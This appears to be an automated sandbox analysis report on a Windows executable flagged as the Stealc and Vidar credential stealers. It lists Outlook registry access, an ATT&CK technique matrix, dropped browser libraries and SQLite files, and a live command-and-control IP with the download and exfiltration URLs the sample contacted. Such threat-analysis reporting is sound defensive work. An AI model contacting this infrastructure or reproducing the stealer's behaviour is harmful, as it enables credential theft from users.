Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 1968, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.320000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2360250459.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2359171753.0000000000321000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2086620561.0000000004B60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1968, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 1968, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	345 System Information Discovery	Distributed Component Object Model	Input Capture	113 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
http://185.215.113.37/	100%	URL Reputation	malware
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	100%	URL Reputation	malware
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/nss3.dll	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	100%	URL Reputation	malware
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/mozglue.dll	100%	URL Reputation	malware
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/softokn3.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/freebl3.dll	100%	URL Reputation	malware
https://support.mozilla.org	0%	URL Reputation	safe
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
206.23.85.13.in-addr.arpa	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000002.2360250459.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, HIEHDAFH.0.dr	false	URL Reputation: safe	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2387843050.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000002.2360250459.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, HIEHDAFH.0.dr	false	URL Reputation: safe	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000002.2360250459.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, HIEHDAFH.0.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpV	file.exe, 00000000.00000002.2360250459.0000000000F80000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	JJKFBAKFBGDHIEBGDAKF.0.dr	false		unknown
http://185.215.113.37s	file.exe, 00000000.00000002.2360250459.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php~	file.exe, 00000000.00000002.2360250459.0000000000F80000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2381735405.0000000029495000.00000004.00000020.00020000.00000000.sdmp, JJKFBAKFBGDHIEBGDAKF.0.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.2360250459.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, HIEHDAFH.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpB	file.exe, 00000000.00000002.2360250459.0000000000F80000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000002.2360250459.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, HIEHDAFH.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37	file.exe, 00000000.00000002.2360250459.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmp	true	URL Reputation: malware	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.2360250459.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, HIEHDAFH.0.dr	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	file.exe, 00000000.00000002.2381735405.0000000029495000.00000004.00000020.00020000.00000000.sdmp, JJKFBAKFBGDHIEBGDAKF.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	IJKFHDBKFCAAECBFIDHJECBKEB.0.dr	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000002.2360250459.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, HIEHDAFH.0.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	file.exe, 00000000.00000002.2381735405.0000000029495000.00000004.00000020.00020000.00000000.sdmp, JJKFBAKFBGDHIEBGDAKF.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de1	file.exe, 00000000.00000002.2360250459.0000000000F92000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpp	file.exe, 00000000.00000002.2360250459.0000000000F92000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2381735405.0000000029495000.00000004.00000020.00020000.00000000.sdmp, JJKFBAKFBGDHIEBGDAKF.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37e2b1563c6670f193.phption:	file.exe, 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpz	file.exe, 00000000.00000002.2360250459.0000000000F92000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000002.2360250459.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, HIEHDAFH.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	IJKFHDBKFCAAECBFIDHJECBKEB.0.dr	false	URL Reputation: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2381735405.0000000029495000.00000004.00000020.00020000.00000000.sdmp, JJKFBAKFBGDHIEBGDAKF.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll0de163924d/nss3.dllv	file.exe, 00000000.00000002.2360250459.0000000000F67000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpwser	file.exe, 00000000.00000002.2360250459.0000000000F92000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2381735405.0000000029495000.00000004.00000020.00020000.00000000.sdmp, JJKFBAKFBGDHIEBGDAKF.0.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpb	file.exe, 00000000.00000002.2360250459.0000000000F80000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phption:	file.exe, 00000000.00000002.2359171753.00000000004EB000.00000040.00000001.01000000.00000003.sdmp	true		unknown
https://support.mozilla.org	IJKFHDBKFCAAECBFIDHJECBKEB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php&	file.exe, 00000000.00000002.2360250459.0000000000F92000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpf	file.exe, 00000000.00000002.2360250459.0000000000F80000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000002.2360250459.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, HIEHDAFH.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dlle	file.exe, 00000000.00000002.2360250459.0000000000F67000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2387548529.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375735830.000000001D3D6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll)	file.exe, 00000000.00000002.2360250459.0000000000F67000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1541053
Start date and time:	2024-10-24 11:01:15 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/23@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 86% Number of executed functions: 79 Number of non-executed functions: 101
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.16
	msqT9atzYW.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse
	NK3SASJheq.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse
	NK3SASJheq.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAFIDGCFHIEHJJJJECAK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BFBGDGIDBAAEBFHJKJDGCGCGDG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CBKJEGCB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GIDHDGCBFBKECBFHCAFHJDBGHC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIEHDAFH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIIIDAKKJJJKKECAKKJE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IEGCBAAFHDHDHJKEGCFCBFHJDH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
